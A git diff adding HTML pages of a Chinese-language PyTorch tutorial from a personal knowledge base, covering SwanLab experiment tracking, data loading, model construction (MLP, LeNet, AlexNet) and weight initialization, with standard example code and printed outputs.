# 6. 每20次迭代,用SwanLab记录一下loss的变化
if iter % 20 == 0:
swanlab.log({"train/loss": loss.item()})

def test(model, device, val_dataloader, epoch):
model.eval()
correct = 0
total = 0
with torch.no_grad():
# 1. 循环调用val_dataloader,每次取出1个batch_size的图像和标签
for inputs, labels in val_dataloader:
inputs, labels = inputs.to(device), labels.to(device)
# 2. 传入到resnet18模型中得到预测结果
outputs = model(inputs)
# 3. 获得预测的数字
_, predicted = torch.max(outputs, 1)
total += labels.size(0)
# 4. 计算与标签一致的预测结果的数量
correct += (predicted == labels).sum().item()

# 5. 得到最终的测试准确率
accuracy = correct / total
# 6. 用SwanLab记录一下准确率的变化
swanlab.log({"val/accuracy": accuracy}, step=epoch)


if __name__ == "__main__":

#检测是否支持mps
try:
use_mps = torch.backends.mps.is_available()
except AttributeError:
use_mps = False

#检测是否支持cuda
if torch.cuda.is_available():
device = "cuda"
elif use_mps:
device = "mps"
else:
device = "cpu"

# 初始化swanlab
run = swanlab.init(
project="MNIST-example",
experiment_name="PlainCNN",
config={
"model": "ResNet18",
"optim": "Adam",
"lr": 1e-4,
"batch_size": 256,
"num_epochs": 10,
"device": device,
},
)

# 设置MNIST训练集和验证集
dataset = MNIST(os.getcwd(), train=True, download=True, transform=ToTensor())
train_dataset, val_dataset = utils.data.random_split(dataset, [55000, 5000])

train_dataloader = utils.data.DataLoader(train_dataset, batch_size=run.config.batch_size, shuffle=True)
val_dataloader = utils.data.DataLoader(val_dataset, batch_size=8, shuffle=False)

# (可选)看一下数据集的前16张图像
log_images(train_dataloader, 16)

# 初始化模型
model = ConvNet()
model.to(torch.device(device))

# 打印模型
print(model)

# 定义损失函数和优化器
criterion = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.parameters(), lr=run.config.lr)

# 开始训练和测试循环
for epoch in range(1, run.config.num_epochs+1):
swanlab.log({"train/epoch": epoch}, step=epoch)
train(model, device, train_dataloader, optimizer, criterion, epoch, run.config.num_epochs)
if epoch % 2 == 0:
test(model, device, val_dataloader, epoch)

# 保存模型
# 如果不存在checkpoint文件夹,则自动创建一个
if not os.path.exists("checkpoint"):
os.makedirs("checkpoint")
torch.save(model.state_dict(), 'checkpoint/latest_checkpoint.pth')
+

运行代码后,我们查看实验结果:

+

+

+

7.5.4 SwanLab跟踪YOLO案例​

+

下面我们使用一个Ultralytics框架训练Yolo模型的demo来演示SwanLab的使用。 预览链接。

+
from ultralytics import YOLO
from swanlab.integration.ultralytics import add_swanlab_callback


if __name__ == "__main__":
model = YOLO("yolov8n.yaml")
model.load()
# 添加swanlab回调
add_swanlab_callback(model)

model.train(
data="./coco128.yaml",
epochs=3,
imgsz=320,
)
+

+

+

+

我们可以发现,使用swanlab可以很方便地可视化训练过程和在线查看实验进展。更多功能请见官方文档。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第七章/index.html b/docs/个人知识库/AI/PyTorch/第七章/index.html new file mode 100644 index 0000000..6db39a7 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第七章/index.html @@ -0,0 +1,46 @@ + + + + + +第七章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分/index.html new file mode 100644 index 0000000..aff9f63 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分/index.html @@ -0,0 +1,57 @@ + + + + + +3.1 思考:完成深度学习的必要部分.md | wjlin0 + + + + + + + +

3.1 思考:完成深度学习的必要部分.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.1 思考:完成深度学习的必要部分

+

经过本节的学习,你将收获:

+
    +
  • 一项机器学习/深度学习任务的整体流程
  • +
  • 在机器学习和深度学习的每个部分的作用
  • +
+

一项机器学习任务时常常有以下的几个重要步骤,首先是数据的预处理,其中重要的步骤包括数据格式的统一、异常数据的消除和必要的数据变换,同时划分训练集、验证集、测试集,常见的方法包括:按比例随机选取,KFold方法(我们可以使用sklearn带的test_train_split函数、kfold来实现)。接下来选择模型,并设定损失函数和优化方法,以及对应的超参数(当然可以使用sklearn这样的机器学习库中模型自带的损失函数和优化器)。最后用模型去拟合训练集数据,并在验证集/测试集上计算模型表现。

+

深度学习和机器学习在流程上类似,但在代码实现上有较大的差异。首先,由于深度学习所需的样本量很大,一次加载全部数据运行可能会超出内存容量而无法实现;同时还有批(batch)训练等提高模型表现的策略,需要每次训练读取固定数量的样本送入模型中训练,因此深度学习在数据加载上需要有专门的设计。

+

在模型实现上,深度学习和机器学习也有很大差异。由于深度神经网络层数往往较多,同时会有一些用于实现特定功能的层(如卷积层、池化层、批正则化层、LSTM层等),因此深度神经网络往往需要“逐层”搭建,或者预先定义好可以实现特定功能的模块,再把这些模块组装起来。这种“定制化”的模型构建方式能够充分保证模型的灵活性,也对代码实现提出了新的要求。

+

接下来是损失函数和优化器的设定。这部分和经典机器学习的实现是类似的。但由于模型设定的灵活性,因此损失函数和优化器要能够保证反向传播能够在用户自行定义的模型结构上实现。

+

上述步骤完成后就可以开始训练了。我们前面介绍了GPU的概念和GPU用于并行计算加速的功能,不过程序默认是在CPU上运行的,因此在代码实现中,需要把模型和数据“放到”GPU上去做运算,同时还需要保证损失函数和优化器能够在GPU上工作。如果使用多张GPU进行训练,还需要考虑模型和数据分配、整合的问题。此外,后续计算一些指标还需要把数据“放回”CPU。这里涉及到了一系列有关于GPU的配置和操作。

+

深度学习中训练和验证过程最大的特点在于读入数据是按批的,每次读入一个批次的数据,放入GPU中训练,然后将损失函数反向传播回网络最前面的层,同时使用优化器调整网络参数。这里会涉及到各个模块配合的问题。训练/验证后还需要根据设定好的指标计算模型表现。

+

经过以上步骤,一个深度学习任务就完成了。我们在详细讲解每个部分之前,先梳理了完成各个部分所需的功能,下面我们就去进一步了解一下PyTorch是如何实现各个部分的,以及PyTorch作为一个深度学习框架拥有的模块化特点。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.2 基本配置/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.2 基本配置/index.html new file mode 100644 index 0000000..bfe9d4c --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.2 基本配置/index.html @@ -0,0 +1,65 @@ + + + + + +3.2 基本配置.md | wjlin0 + + + + + + + +

3.2 基本配置.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.2 基本配置

+

对于一个PyTorch项目,我们需要导入一些Python常用的包来帮助我们快速实现功能。常见的包有os、numpy等,此外还需要调用PyTorch自身一些模块便于灵活使用,比如torch、torch.nn、torch.utils.data.Dataset、torch.utils.data.DataLoader、torch.optimizer等等。

+

经过本节的学习,你将收获:

+
    +
  • 在深度学习/机器学习中常用到的包
  • +
  • GPU的配置
  • +
+

首先导入必须的包。注意这里只是建议导入的包导入的方式,可以采用不同的方案,比如涉及到表格信息的读入很可能用到pandas,对于不同的项目可能还需要导入一些更上层的包如cv2等。如果涉及可视化还会用到matplotlib、seaborn等。涉及到下游分析和指标计算也常用到sklearn。

+
import os 
import numpy as np
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
import torch.optim as optimizer
+

根据前面我们对深度学习任务的梳理,有如下几个超参数可以统一设置,方便后续调试时修改:

+
    +
  • batch size
  • +
  • 初始学习率(初始)
  • +
  • 训练次数(max_epochs)
  • +
  • GPU配置
  • +
+
batch_size = 16
# 批次的大小
lr = 1e-4
# 优化器的学习率
max_epochs = 100
+

除了直接将超参数设置在训练的代码里,我们也可以使用yaml、json,dict等文件来存储超参数,这样可以方便后续的调试和修改,这种方式也是常见的深度学习库(mmdetection,Paddledetection,detectron2)和一些AI Lab里面比较常见的一种参数设置方式。

+

我们的数据和模型如果没有经过显式指明设备,默认会存储在CPU上,为了加速模型的训练,我们需要显式调用GPU,一般情况下GPU的设置有两种常见的方式:

+
# 方案一:使用os.environ,这种情况如果使用GPU不需要设置
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1' # 指明调用的GPU为0,1号

# 方案二:使用“device”,后续对要使用GPU的变量用.to(device)即可
device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu") # 指明调用的GPU为1号
+

当然还会有一些其他模块或用户自定义模块会用到的参数,有需要也可以在一开始进行设置。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.3 数据读入/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.3 数据读入/index.html new file mode 100644 index 0000000..ed849a8 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.3 数据读入/index.html @@ -0,0 +1,76 @@ + + + + + +3.3 数据读入.md | wjlin0 + + + + + + + +

3.3 数据读入.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.3 数据读入

+

PyTorch数据读入是通过Dataset+DataLoader的方式完成的,Dataset定义好数据的格式和数据变换形式,DataLoader用iterative的方式不断读入批次数据。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch常见的数据读取方式
  • +
  • 构建自己的数据读取流程
  • +
+

我们可以定义自己的Dataset类来实现灵活的数据读取,定义的类需要继承PyTorch自身的Dataset类。主要包含三个函数:

+
    +
  • __init__: 用于向类中传入外部参数,同时定义样本集
  • +
  • __getitem__: 用于逐个读取样本集合中的元素,可以进行一定的变换,并将返回训练/验证所需的数据
  • +
  • __len__: 用于返回数据集的样本数
  • +
+

下面以cifar10数据集为例给出构建Dataset类的方式:

+
import torch
from torchvision import datasets
train_data = datasets.ImageFolder(train_path, transform=data_transform)
val_data = datasets.ImageFolder(val_path, transform=data_transform)
+

这里使用了PyTorch自带的ImageFolder类的用于读取按一定结构存储的图片数据(path对应图片存放的目录,目录下包含若干子目录,每个子目录对应属于同一个类的图片)。

+

其中data_transform可以对图像进行一定的变换,如翻转、裁剪等操作,可自己定义。这里我们会在下一章通过实战加以介绍并在notebook中做了示例代码。

+

这里我们给出一个自己定制Dataset的例子

+

import os
import pandas as pd
from torchvision.io import read_image

class MyDataset(Dataset):
def __init__(self, annotations_file, img_dir, transform=None, target_transform=None):
"""
Args:
annotations_file (string): Path to the csv file with annotations.
img_dir (string): Directory with all the images.
transform (callable, optional): Optional transform to be applied
on a sample.
target_transform (callable, optional): Optional transform to be applied
on the target.
"""
self.img_labels = pd.read_csv(annotations_file)
self.img_dir = img_dir
self.transform = transform
self.target_transform = target_transform

def __len__(self):
return len(self.img_labels)

def __getitem__(self, idx):
"""
Args:
idx (int): Index
"""
img_path = os.path.join(self.img_dir, self.img_labels.iloc[idx, 0])
image = read_image(img_path)
label = self.img_labels.iloc[idx, 1]
if self.transform:
image = self.transform(image)
if self.target_transform:
label = self.target_transform(label)
return image, label
+

其中,我们的标签类似于以下的形式:

+
image1.jpg, 0
image2.jpg, 1
......
image9.jpg, 9
+

构建好Dataset后,就可以使用DataLoader来按批次读入数据了,实现代码如下:

+
from torch.utils.data import DataLoader

train_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, num_workers=4, shuffle=True, drop_last=True)
val_loader = torch.utils.data.DataLoader(val_data, batch_size=batch_size, num_workers=4, shuffle=False)
+

其中:

+
    +
  • batch_size:样本是按“批”读入的,batch_size就是每次读入的样本数
  • +
  • num_workers:有多少个进程用于读取数据,Windows下该参数设置为0,Linux下常见的为4或者8,根据自己的电脑配置来设置
  • +
  • shuffle:是否将读入的数据打乱,一般在训练集中设置为True,验证集中设置为False
  • +
  • drop_last:对于样本最后一部分没有达到批次数的样本,使其不再参与训练
  • +
+

这里可以看一下我们的加载的数据。PyTorch中的DataLoader的读取可以使用next和iter来完成

+
import matplotlib.pyplot as plt
images, labels = next(iter(val_loader))
print(images.shape)
plt.imshow(images[0].transpose(1,2,0))
plt.show()
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.4 模型构建/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.4 模型构建/index.html new file mode 100644 index 0000000..f3945d6 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.4 模型构建/index.html @@ -0,0 +1,155 @@ + + + + + +3.4 模型构建.md | wjlin0 + + + + + + + +

3.4 模型构建.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.4 模型构建

+

人工智能的第三次浪潮受益于卷积神经网络的出现和BP反向传播算法的实现,随着深度学习的发展,研究人员研究出了许许多多的模型,PyTorch中神经网络构造一般是基于nn.Module类的模型来完成的,它让模型构造更加灵活。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch中神经网络的构造方法
  • +
  • PyTorch中特殊层的构建
  • +
  • LeNet的PyTorch实现
  • +
+

3.4.1 神经网络的构造​

+

Module 类是 torch.nn 模块里提供的一个模型构造类,是所有神经网络模块的基类,我们可以继承它来定义我们想要的模型。下面继承 Module 类构造多层感知机。这里定义的 MLP 类重载了 Module 类的 __init__ 函数和 forward 函数。它们分别用于创建模型参数和定义前向计算(正向传播)。下面的 MLP 类定义了一个具有两个隐藏层的多层感知机。

+
import torch
from torch import nn

class MLP(nn.Module):
# 声明带有模型参数的层,这里声明了两个全连接层
def __init__(self, **kwargs):
# 调用MLP父类Block的构造函数来进行必要的初始化。这样在构造实例时还可以指定其他函数
super(MLP, self).__init__(**kwargs)
self.hidden = nn.Linear(784, 256)
self.act = nn.ReLU()
self.output = nn.Linear(256,10)

# 定义模型的前向计算,即如何根据输入x计算返回所需要的模型输出
def forward(self, x):
o = self.act(self.hidden(x))
return self.output(o)
+

以上的 MLP 类中⽆须定义反向传播函数。系统将通过⾃动求梯度⽽自动⽣成反向传播所需的 backward 函数。

+

我们可以实例化 MLP 类得到模型变量 net 。下⾯的代码初始化 net 并传入输⼊数据 X 做一次前向计算。其中, net(X) 会调用 MLP 继承⾃自 Module 类的 __call__ 函数,这个函数将调⽤用 MLP 类定义的forward 函数来完成前向计算。因此我们自己构造模型时需要明确定义模型的forward过程

+
X = torch.rand(2,784) # 设置一个随机的输入张量
net = MLP() # 实例化模型
print(net) # 打印模型
net(X) # 前向计算
+
MLP(
(hidden): Linear(in_features=784, out_features=256, bias=True)
(act): ReLU()
(output): Linear(in_features=256, out_features=10, bias=True)
)
tensor([[ 0.0149, -0.2641, -0.0040, 0.0945, -0.1277, -0.0092, 0.0343, 0.0627,
-0.1742, 0.1866],
[ 0.0738, -0.1409, 0.0790, 0.0597, -0.1572, 0.0479, -0.0519, 0.0211,
-0.1435, 0.1958]], grad_fn=<AddmmBackward>)
+

注意,这里并没有将 Module 类命名为 Layer (层)或者 Model (模型)之类的名字,这是因为该类是一个可供⾃由组建的部件。它的子类既可以是⼀个层(如PyTorch提供的 Linear 类),⼜可以是一个模型(如这里定义的 MLP 类),或者是模型的⼀个部分。

+

3.4.2 神经网络中常见的层​

+

深度学习的一个魅力在于神经网络中各式各样的层,例如全连接层、卷积层、池化层与循环层等等。虽然PyTorch提供了⼤量常用的层,但有时候我们依然希望⾃定义层。这里我们会介绍如何使用 Module 来自定义层,从而可以被反复调用。

+
    +
  • 不含模型参数的层
  • +
+

我们先介绍如何定义一个不含模型参数的自定义层。下⾯构造的 MyLayer 类通过继承 Module 类自定义了一个将输入减掉均值后输出的层,并将层的计算定义在了 forward 函数里。这个层里不含模型参数。

+
import torch
from torch import nn

class MyLayer(nn.Module):
def __init__(self, **kwargs):
super(MyLayer, self).__init__(**kwargs)
def forward(self, x):
return x - x.mean()
+

测试,实例化该层,然后做前向计算

+
layer = MyLayer()
layer(torch.tensor([1, 2, 3, 4, 5], dtype=torch.float))
+
tensor([-2., -1.,  0.,  1.,  2.])
+
    +
  • 含模型参数的层
  • +
+

我们还可以自定义含模型参数的自定义层。其中的模型参数可以通过训练学出。

+

Parameter 类其实是 Tensor 的子类,如果一个 Tensor 是 Parameter ,那么它会⾃动被添加到模型的参数列表里。所以在⾃定义含模型参数的层时,我们应该将参数定义成 Parameter ,除了直接定义成 Parameter 类外,还可以使⽤ ParameterList 和 ParameterDict 分别定义参数的列表和字典。

+
class MyListDense(nn.Module):
def __init__(self):
super(MyListDense, self).__init__()
self.params = nn.ParameterList([nn.Parameter(torch.randn(4, 4)) for i in range(3)])
self.params.append(nn.Parameter(torch.randn(4, 1)))

def forward(self, x):
for i in range(len(self.params)):
x = torch.mm(x, self.params[i])
return x
net = MyListDense()
print(net)
+
class MyDictDense(nn.Module):
def __init__(self):
super(MyDictDense, self).__init__()
self.params = nn.ParameterDict({
'linear1': nn.Parameter(torch.randn(4, 4)),
'linear2': nn.Parameter(torch.randn(4, 1))
})
self.params.update({'linear3': nn.Parameter(torch.randn(4, 2))}) # 新增

def forward(self, x, choice='linear1'):
return torch.mm(x, self.params[choice])

net = MyDictDense()
print(net)
+

下面给出常见的神经网络的一些层,比如卷积层、池化层,以及较为基础的AlexNet,LeNet等。

+
    +
  • 二维卷积层
  • +
+

二维卷积层将输入和卷积核做互相关运算,并加上一个标量偏差来得到输出。卷积层的模型参数包括了卷积核和标量偏差。在训练模型的时候,通常我们先对卷积核随机初始化,然后不断迭代卷积核和偏差。

+
import torch
from torch import nn

# 卷积运算(二维互相关)
def corr2d(X, K):
h, w = K.shape
X, K = X.float(), K.float()
Y = torch.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1))
for i in range(Y.shape[0]):
for j in range(Y.shape[1]):
Y[i, j] = (X[i: i + h, j: j + w] * K).sum()
return Y

# 二维卷积层
class Conv2D(nn.Module):
def __init__(self, kernel_size):
super(Conv2D, self).__init__()
self.weight = nn.Parameter(torch.randn(kernel_size))
self.bias = nn.Parameter(torch.randn(1))

def forward(self, x):
return corr2d(x, self.weight) + self.bias
+

卷积窗口形状为 $p \times q$ 的卷积层称为 $p \times q$ 卷积层。同样, $p \times q$ 卷积或 $p \times q$ 卷积核说明卷积核的高和宽分别为 $p$ 和 $q$,一般情况下,$p=q$。

+

填充(padding)是指在输⼊高和宽的两侧填充元素(通常是0元素)。

+

下面的例子里我们创建一个⾼和宽为3的二维卷积层,然后设输⼊高和宽两侧的填充数分别为1。给定一个高和宽为8的输入,我们发现输出的高和宽也是8。

+
import torch
from torch import nn

# 定义一个函数来计算卷积层。它对输入和输出做相应的升维和降维
def comp_conv2d(conv2d, X):
# (1, 1)代表批量大小和通道数
X = X.view((1, 1) + X.shape)
Y = conv2d(X)
return Y.view(Y.shape[2:]) # 排除不关心的前两维:批量和通道


# 注意这里是两侧分别填充1⾏或列,所以在两侧一共填充2⾏或列
conv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=3,padding=1)

X = torch.rand(8, 8)
comp_conv2d(conv2d, X).shape
+
torch.Size([8, 8])
+

当卷积核的高和宽不同时,我们也可以通过设置高和宽上不同的填充数使输出和输入具有相同的高和宽。

+
# 使用高为5、宽为3的卷积核。在⾼和宽两侧的填充数分别为2和1
conv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=(5, 3), padding=(2, 1))
comp_conv2d(conv2d, X).shape
+
torch.Size([8, 8])
+

在二维互相关运算中,卷积窗口从输入数组的最左上方开始,按从左往右、从上往下 的顺序,依次在输⼊数组上滑动。我们将每次滑动的行数和列数称为步幅(stride)。

+
conv2d = nn.Conv2d(1, 1, kernel_size=(3, 5), padding=(0, 1), stride=(3, 4))
comp_conv2d(conv2d, X).shape
+
torch.Size([2, 2])
+

填充可以增加输出的高和宽。这常用来使输出与输入具有相同的高和宽。

+

步幅可以减小输出的高和宽,例如输出的高和宽仅为输入的高和宽的 ( 为大于1的整数)。

+
    +
  • 池化层
  • +
+

池化层每次对输入数据的一个固定形状窗口(⼜称池化窗口)中的元素计算输出。不同于卷积层里计算输⼊和核的互相关性,池化层直接计算池化窗口内元素的属性(均值、最大值等)。常见的池化包括最大池化或平均池化。在二维最⼤池化中,池化窗口从输入数组的最左上方开始,按从左往右、从上往下的顺序,依次在输⼊数组上滑动。当池化窗口滑动到某⼀位置时,窗口中的输入子数组的最大值即输出数组中相应位置的元素。

+

下面把池化层的前向计算实现在pool2d函数里。

+
import torch
from torch import nn

def pool2d(X, pool_size, mode='max'):
p_h, p_w = pool_size
Y = torch.zeros((X.shape[0] - p_h + 1, X.shape[1] - p_w + 1))
for i in range(Y.shape[0]):
for j in range(Y.shape[1]):
if mode == 'max':
Y[i, j] = X[i: i + p_h, j: j + p_w].max()
elif mode == 'avg':
Y[i, j] = X[i: i + p_h, j: j + p_w].mean()
return Y
+
X = torch.tensor([[0, 1, 2], [3, 4, 5], [6, 7, 8]], dtype=torch.float)
pool2d(X, (2, 2))
+
tensor([[4., 5.],
[7., 8.]])
+
pool2d(X, (2, 2), 'avg')
+
tensor([[2., 3.],
[5., 6.]])
+

我们可以使用torch.nn包来构建神经网络。我们已经介绍了autograd包,nn包则依赖于autograd包来定义模型并对它们求导。一个nn.Module包含各个层和一个forward(input)方法,该方法返回output。

+

3.4.3 模型示例​

+
    +
  • LeNet
  • +
+

3.4.1

+

这是一个简单的前馈神经网络 (feed-forward network)(LeNet)。它接受一个输入,然后将它送入下一层,一层接一层的传递,最后给出输出。

+

一个神经网络的典型训练过程如下:

+
    +
  1. 定义包含一些可学习参数(或者叫权重)的神经网络
  2. +
  3. 在输入数据集上迭代
  4. +
  5. 通过网络处理输入
  6. +
  7. 计算 loss (输出和正确答案的距离)
  8. +
  9. 将梯度反向传播给网络的参数
  10. +
  11. 更新网络的权重,一般使用一个简单的规则:weight = weight - learning_rate * gradient
  12. +
+
import torch
import torch.nn as nn
import torch.nn.functional as F


class Net(nn.Module):

def __init__(self):
super(Net, self).__init__()
# 输入图像channel:1;输出channel:6;5x5卷积核
self.conv1 = nn.Conv2d(1, 6, 5)
self.conv2 = nn.Conv2d(6, 16, 5)
# an affine operation: y = Wx + b
self.fc1 = nn.Linear(16 * 5 * 5, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)

def forward(self, x):
# 2x2 Max pooling
x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))
# 如果是方阵,则可以只使用一个数字进行定义
x = F.max_pool2d(F.relu(self.conv2(x)), 2)
x = x.view(-1, self.num_flat_features(x))
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = self.fc3(x)
return x

def num_flat_features(self, x):
size = x.size()[1:] # 除去批处理维度的其他所有维度
num_features = 1
for s in size:
num_features *= s
return num_features


net = Net()
print(net)
+
Net(
(conv1): Conv2d(1, 6, kernel_size=(5, 5), stride=(1, 1))
(conv2): Conv2d(6, 16, kernel_size=(5, 5), stride=(1, 1))
(fc1): Linear(in_features=400, out_features=120, bias=True)
(fc2): Linear(in_features=120, out_features=84, bias=True)
(fc3): Linear(in_features=84, out_features=10, bias=True)
)
+

我们只需要定义 forward 函数,backward函数会在使用autograd时自动定义,backward函数用来计算导数。我们可以在 forward 函数中使用任何针对张量的操作和计算。

+

一个模型的可学习参数可以通过net.parameters()返回

+
params = list(net.parameters())
print(len(params))
print(params[0].size()) # conv1的权重
+
10
torch.Size([6, 1, 5, 5])
+

让我们尝试一个随机的 32x32 的输入。注意:这个网络 (LeNet)的期待输入是 32x32 的张量。如果使用 MNIST 数据集来训练这个网络,要把图片大小重新调整到 32x32。

+
input = torch.randn(1, 1, 32, 32)
out = net(input)
print(out)
+

清零所有参数的梯度缓存,然后进行随机梯度的反向传播:

+
net.zero_grad()
out.backward(torch.randn(1, 10))
+

注意:torch.nn只支持小批量处理 (mini-batches)。整个 torch.nn 包只支持小批量样本的输入,不支持单个样本的输入。比如,nn.Conv2d 接受一个4维的张量,即nSamples x nChannels x Height x Width 如果是一个单独的样本,只需要使用input.unsqueeze(0) 来添加一个“假的”批大小维度。

+
    +
  • +

    torch.Tensor - 一个多维数组,支持诸如backward()等的自动求导操作,同时也保存了张量的梯度。

    +
  • +
  • +

    nn.Module - 神经网络模块。是一种方便封装参数的方式,具有将参数移动到GPU、导出、加载等功能。

    +
  • +
  • +

    nn.Parameter - 张量的一种,当它作为一个属性分配给一个Module时,它会被自动注册为一个参数。

    +
  • +
  • +

    autograd.Function - 实现了自动求导前向和反向传播的定义,每个Tensor至少创建一个Function节点,该节点连接到创建Tensor的函数并对其历史进行编码。

    +
  • +
+

下面再介绍一个比较基础的案例AlexNet

+
    +
  • AlexNet
  • +
+

3.4.2

+
class AlexNet(nn.Module):
def __init__(self):
super(AlexNet, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(1, 96, 11, 4), # in_channels, out_channels, kernel_size, stride, padding
nn.ReLU(),
nn.MaxPool2d(3, 2), # kernel_size, stride
# 减小卷积窗口,使用填充为2来使得输入与输出的高和宽一致,且增大输出通道数
nn.Conv2d(96, 256, 5, 1, 2),
nn.ReLU(),
nn.MaxPool2d(3, 2),
# 连续3个卷积层,且使用更小的卷积窗口。除了最后的卷积层外,进一步增大了输出通道数。
# 前两个卷积层后不使用池化层来减小输入的高和宽
nn.Conv2d(256, 384, 3, 1, 1),
nn.ReLU(),
nn.Conv2d(384, 384, 3, 1, 1),
nn.ReLU(),
nn.Conv2d(384, 256, 3, 1, 1),
nn.ReLU(),
nn.MaxPool2d(3, 2)
)
# 这里全连接层的输出个数比LeNet中的大数倍。使用丢弃层来缓解过拟合
self.fc = nn.Sequential(
nn.Linear(256*5*5, 4096),
nn.ReLU(),
nn.Dropout(0.5),
nn.Linear(4096, 4096),
nn.ReLU(),
nn.Dropout(0.5),
# 输出层。由于这里使用Fashion-MNIST,所以用类别数为10,而非论文中的1000
nn.Linear(4096, 10),
)

def forward(self, img):
feature = self.conv(img)
output = self.fc(feature.view(img.shape[0], -1))
return output
+
net = AlexNet()
print(net)
+
AlexNet(
(conv): Sequential(
(0): Conv2d(1, 96, kernel_size=(11, 11), stride=(4, 4))
(1): ReLU()
(2): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)
(3): Conv2d(96, 256, kernel_size=(5, 5), stride=(1, 1), padding=(2, 2))
(4): ReLU()
(5): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)
(6): Conv2d(256, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))
(7): ReLU()
(8): Conv2d(384, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))
(9): ReLU()
(10): Conv2d(384, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))
(11): ReLU()
(12): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)
)
(fc): Sequential(
(0): Linear(in_features=6400, out_features=4096, bias=True)
(1): ReLU()
(2): Dropout(p=0.5)
(3): Linear(in_features=4096, out_features=4096, bias=True)
(4): ReLU()
(5): Dropout(p=0.5)
(6): Linear(in_features=4096, out_features=10, bias=True)
)
)
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/3.5 模型初始化/index.html b/docs/个人知识库/AI/PyTorch/第三章/3.5 模型初始化/index.html new file mode 100644 index 0000000..6894f24 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/3.5 模型初始化/index.html @@ -0,0 +1,120 @@ + + + + + +3.5 模型初始化.md | wjlin0 + + + + + + + +

3.5 模型初始化.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.5 模型初始化

+

在深度学习模型的训练中,权重的初始值极为重要。一个好的初始值,会使模型收敛速度提高,使模型准确率更精确。一般情况下,我们不使用全0初始值训练网络。为了利于训练和减少收敛时间,我们需要对模型进行合理的初始化。PyTorch也在torch.nn.init中为我们提供了常用的初始化方法。 +通过本章学习,你将学习到以下内容:

+
    +
  • 常见的初始化函数
  • +
  • 初始化函数的使用
  • +
+

torch.nn.init内容​

+

通过访问torch.nn.init的官方文档链接 ,我们发现torch.nn.init提供了以下初始化方法: +1 . torch.nn.init.uniform_(tensor, a=0.0, b=1.0) +2 . torch.nn.init.normal_(tensor, mean=0.0, std=1.0) +3 . torch.nn.init.constant_(tensor, val) +4 . torch.nn.init.ones_(tensor) +5 . torch.nn.init.zeros_(tensor) +6 . torch.nn.init.eye_(tensor) +7 . torch.nn.init.dirac_(tensor, groups=1) +8 . torch.nn.init.xavier_uniform_(tensor, gain=1.0) +9 . torch.nn.init.xavier_normal_(tensor, gain=1.0) +10 . torch.nn.init.kaiming_uniform_(tensor, a=0, mode='fan__in', nonlinearity='leaky_relu') +11 . torch.nn.init.kaiming_normal_(tensor, a=0, mode='fan_in', nonlinearity='leaky_relu') +12 . torch.nn.init.orthogonal_(tensor, gain=1) +13 . torch.nn.init.sparse_(tensor, sparsity, std=0.01) +14 . torch.nn.init.calculate_gain(nonlinearity, param=None) +关于计算增益如下表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
nonlinearitygain
Linear/Identity1
Conv{1,2,3}D1
Sigmod1
Tanh5/3
ReLUsqrt(2)
Leaky Relusqrt(2/1+neg_slop^2)
+

我们可以发现这些函数除了calculate_gain,所有函数的后缀都带有下划线,意味着这些函数将会直接原地更改输入张量的值。

+

torch.nn.init使用​

+

我们通常会根据实际模型来使用torch.nn.init进行初始化,通常使用isinstance()来进行判断模块(回顾3.4模型构建)属于什么类型。

+
import torch
import torch.nn as nn

conv = nn.Conv2d(1,3,3)
linear = nn.Linear(10,1)

